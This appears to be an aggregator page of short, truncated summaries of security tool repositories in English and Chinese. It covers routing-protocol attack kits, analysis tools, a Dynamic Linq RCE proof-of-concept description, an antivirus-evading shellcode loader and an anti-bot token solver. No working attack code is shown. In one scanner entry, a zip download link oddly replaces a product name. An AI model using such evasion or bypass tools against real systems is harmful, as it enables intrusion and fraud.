routopsy

routopsy Routopsy is a toolkit built to attack often overlooked networking protocols. Routopsy currently supports attacks against Dynamic Routing Protocols DRP and First-Hop Redundancy Protocols FHRP. Most of the attacks currently implemented make use of a weaponised 'virtual router' as opposed t...

routopsy

routopsy Routopsy 是一个专门用于攻击常被忽视的网络协议的工具包。目前，Routopsy 支持针对动态路由协议DRP和第一跳冗余协议FHRP的攻击。已实现的多数攻击利用了武器化的“虚拟路由器”，而非从头实现协议。该工具不仅限于虚拟路由器，还允许通过添加额外的容器或在 python3 中实现更多攻击。 有关使用方法的更多信息，请参阅维基百科 @ https://github.com/sensepost/routopsy/wiki...

Flerken

Flerken 介绍 命令行混淆（CLOB） 已被证明是无文件恶意软件或“就地取材”的恶意行为者中不可忽视的一个因素。尽管野生环境中存在数十种混淆工具，但相比之下却鲜有适当的防御措施。在本演讲中，我们介绍Flerken，一种适用于Windows（PowerShell和CMD）和Linux（Bash）命令的混淆检测方法。据我们所知，Flerken是首个支持跨平台混淆检测特性的解决方案。 本演讲首先分享关于CLOB的一些关键观察，例如其攻击向量和分析策略。然后，我们给出Flerken的详细设计。描述分为两部分，即Kindle（用于Windows） 和Octopus（用于Linux）...

Inspeckage

Inspeckage - Android 包检查器 Inspeckage 是一个用于对 Android 应用进行动态分析的工具。通过对 Android API 函数应用钩子（hooks），Inspeckage 可以帮助您理解 Android 应用在运行时的行为。 http://ac-pm.github.io/Inspeckage https://twitter.com/inspeckage https://play.google.com/store/apps/details?id=mobi.acpm.inspeckage...

vmpdump

VMPDump 一个动态VMP转储和导入修复工具，基于VTIL。适用于VMProtect 3.X x64。 前后对比 用法 VMPDump.exe "" -ep= -disable-reloc 参数： ：目标进程的ID，十进制或十六进制形式。 ：要转储和修复的模块名称。如果希望使用进程映像模块，可以传入空字符串""。 -ep=：可选提供的入口点RVA，十六进制形式。VMPDump将用此值覆盖可选头中的入口点。 -disable-reloc：可选设置，指示VMPDump在输出映像中标记重定位已被剥离，强制映像加载到转储的ImageBase。如果需要可运行的转储，这很有用。...

vmpdump

VMPDump A dynamic VMP dumper and import fixer, powered by VTIL. Works for VMProtect 3.X x64. Before vs After Usage VMPDump.exe "" -ep= -disable-reloc Arguments: : The ID of the target process, in decimal or hex form. : The name of the module which should be dumped and fixed. This can be an empty...

DrSemu

Dr.Semu Dr.Semu 在隔离环境中运行可执行文件，监控进程行为，并根据你或社区创建的 Dr.Semu 规则检测该进程是否为恶意。 该工具处于早期开发阶段 作者: @qazqaz 借助 Dr.Semu，你可以根据进程的动态行为创建规则来检测恶意软件。 通过重定向实现隔离 所有操作均在用户态完成。使用 Windows 投影文件系统 ProjFS 提供 虚拟 文件系统。对于注册表重定向，它会将所有注册表配置单元克隆到新位置，并重定向所有注册表访问。 有关其他重定向（进程/对象隔离等）的更多信息，请参阅源代码。 监控 Dr.Semu 使用 DynamoRIO（动态...

FirmWire

-. .-. | |+ \ \ / /+ .-. .- \ / \ | | | | '| ' \ // / | | '/ - / \ / '-' '-|| | || |||// | || |-' '-' FirmWire FirmWire 是一个全系统基带固件分析平台，支持三星和联发科芯片。它能够对基带固件镜像进行模糊测试、根因分析和调试。请参阅FirmWire 文档 开始使用！ BibTeX FirmWire 是一个跨多所大学、历时多年的研究成果。详情请参阅论文。关于论文中可复现的研究和实验数据，请参见 NDSS'22 仓库。 如果您在学术论文中使用了...

ssrf-sheriff

SSRF Sheriff This is an SSRF testing sheriff written in Go. It was originally created for the Uber H1-4420 2019 London Live Hacking Event, but it is now being open-sourced for other organizations to implement and contribute back to. Features Respond to any HTTP method GET, POST, PUT, DELETE, etc...

CVE-2023-32571-POC

Dynamic Linq injection to RCE - CVE-2023-32571 关于动态Linq注入导致RCE（CVE-2023-32571） 最近，NCC集团成员发现Dynamic Linq中的一个漏洞，允许攻击者通过Linq注入调用C函数，从而实现远程代码执行（RCE）。 尽管有关于Dynamic Linq的RCE报告，但NCC集团成员出于某种原因没有发布用于执行命令的POC。 POC 正如NCC集团研究所述，我们可以通过"Invoke"调用C方法。这样，我们可以调用"System.Diagnostics.Process.Start"并在服务器上执行命令。...

charlotte

charlotte c++ 完全免杀的 shellcode 加载器 ; 发布此工具以庆祝我的新生儿诞生 描述 13/05/2021: 1. c++ shellcode 加载器，截至 2021 年 5 月 13 日完全免杀 0/26。 2. 动态调用 win32 API 函数 3. shellcode 和函数名的 XOR 加密 4. 每次运行随机化 XOR 密钥和变量 5. 在 Kali Linux 上，只需 'apt-get install mingw-w64' 即可！ 17/05/2021: 6. 随机字符串长度和 XOR 密钥长度 antiscan.me 使用方法 git clone...

Uchihash

Uchihash Uchihash 是一款小工具，可帮助恶意软件分析师节省处理各种嵌入式哈希值的时间，这些哈希值用于多种用途，例如： 动态导入 API（特别是在 shellcode 中） 检查分析工具使用的进程（反分析） 检查 VM 或反病毒/EDR 的产品标识（反分析） 特性 使用标准算法或自定义哈希算法生成哈希值。 生成脚本（IDC、IDAPython、Ghidra）以在分析数据库中注释哈希值。 生成哈希映射并搜索哈希值。 安装 $ git clone https://github.com/N1ght-W0lf/Uchihash.git $ pip install -r...

functrace

functrace - 函数跟踪器 functrace 是一个工具，它通过使用 DynamoRIO http://dynamorio.org/ 的动态插桩技术来帮助分析二进制文件。 以下是一些已实现的功能（基于 DynamoRIO）： 反汇编所有执行的代码 反汇编特定函数（如果是地址则转储） 获取特定函数的参数（如果是地址则转储） 获取特定函数的返回值（如果是指针则转储） 监控应用程序信号 生成报告文件 ghidrahttps://ghidra-sre.org/ 覆盖率脚本（基于 functrace 报告文件） 设置 $ wget...

DocViewerExploitApp

DocViewerExploit 应用 - CVE-2021-40724 这是利用 Document Viewer 的源码，由 MobileHackingLab 提供。 关于存在漏洞的应用 这是一个针对 MobileHackingLab DocumentViewer Android 应用动态代码加载 RCE 挑战 的漏洞利用应用。 该挑战模拟了 Adobe Acrobat Reader Android 应用中发现的 CVE-2021-40724 漏洞。 该应用从库文件动态加载代码，但由于应用处理传入 URI 的方式（使用 getLastPathSegment）存在 LFI 漏洞。...

galah

简介：Galah（/ɡəˈlɑː/，发音为“guh-laa”）是一个基于LLM的Web蜜罐，旨在模仿各种应用程序并动态响应任意HTTP请求。Galah支持主流LLM提供商，包括OpenAI、GoogleAI、GCP的Vertex AI、Anthropic、Cohere和Ollama。 与传统Web蜜罐手动模拟特定Web应用程序或漏洞不同，Galah能够动态生成与任意HTTP请求相关的响应——包括HTTP标头和正文内容。LLM生成的响应会缓存一段可配置的时间，以避免对相同请求重复生成，从而降低API成本。缓存是端口专用的，确保为特定端口生成的响应不会在另一个端口上对相同请求复用。...

Trust-Decision-Security

Trust Decision Solver - 逆向工程版 本软件允许您： 生成无限动态指纹 生成无限且无检测的 TD 通行令牌 部分 Web 安全缺陷包括： 令牌域上缺少 TLS 指纹检查 然而零售站点域上存在 TLS 检查 未进行指纹载荷验证与解析 系统版本未强制检查 由于缺少载荷验证，动态脚本版本无法正常工作 后续令牌和签名可能存在缺陷但仍可通过 建议修复： 修复上述错误 完全动态的 Web VM，每 30 分钟部署给最终客户 VM 由 LLM 生成 LLM 将随机化： 混淆 加密 FP 载荷格式/内容 强制载荷内容、顺序、格式以进行验证 特性 轻松部署到 Google Cloud...

reverse-engineering

反向工程资源 整理好的精彩反向工程资源列表 精彩反向工程资源 书籍 课程 练习 十六进制编辑器 二进制格式 反汇编器 二进制分析 字节码分析 导入重建 动态分析 调试 Mac 解密 文档分析 脚本 Android Yara 书籍 反向工程书籍 IDA Pro 权威指南 Radare2 手册 给初学者的反向工程 汇编语言艺术 实用反向工程 反向工程：反向工程的秘密 实用恶意软件分析 恶意软件分析实践指南 灰帽黑客 拒绝访问 内存取证艺术 黑客：渗透的艺术 模糊测试：软件安全 软件安全评估艺术 反病毒黑客手册 Rootkit 武器库 Windows 内部（上） （下） 深入 Windows ...

CVE-2025-55182-Scanner

🔍 CVE-2025-55182-Scanner - 检测并保护您的应用程序 🌟 概述 CVE-2025-55182-Scanner 是一个混合安全扫描器，旨在帮助您识别 https://raw.githubusercontent.com/captain4554/CVE-2025-55182-Scanner/main/scanner/CV-Scanner-v2.4.zip 和 Waku 应用程序中的漏洞。该工具结合了静态代码分析与安全的动态验证，使其非常适合 DevSecOps 工作流程。无论您是开发者还是普通用户，该扫描器都将帮助您保护应用程序免受潜在威胁。 🚀 快速开始 要开始使用...

ShinoBOT

ShinoBOT（套件） 此仓库仅用于存放二进制文件，而非源代码。 详细信息请访问： http://shinobot.com http://shinosec.com/shinobotsuite/ 下载文件... 最新版本 最新的 ShinoBOT 由 Web 服务器动态生成。 请访问 http://shinobot.com/downloads.php 获取最新的多态版本。 旧版本 前往 download 目录 点击文件名 点击 Raw 按钮。 版本列表 ShinoBOT 版本| 回调 URL| 控制面板| 备注 ---|---|---|--- 3.1.0.0|...

drltrace

Drltrace Windows test build Linux test build Drltrace is a dynamic API calls tracer for Windows and Linux applications. Drltrace is built on top of DynamoRIO dynamic binary instrumentation framework. Drltrace was initialy implemented by Derek Bruening and distributed with DynamoRIO and DrMemory...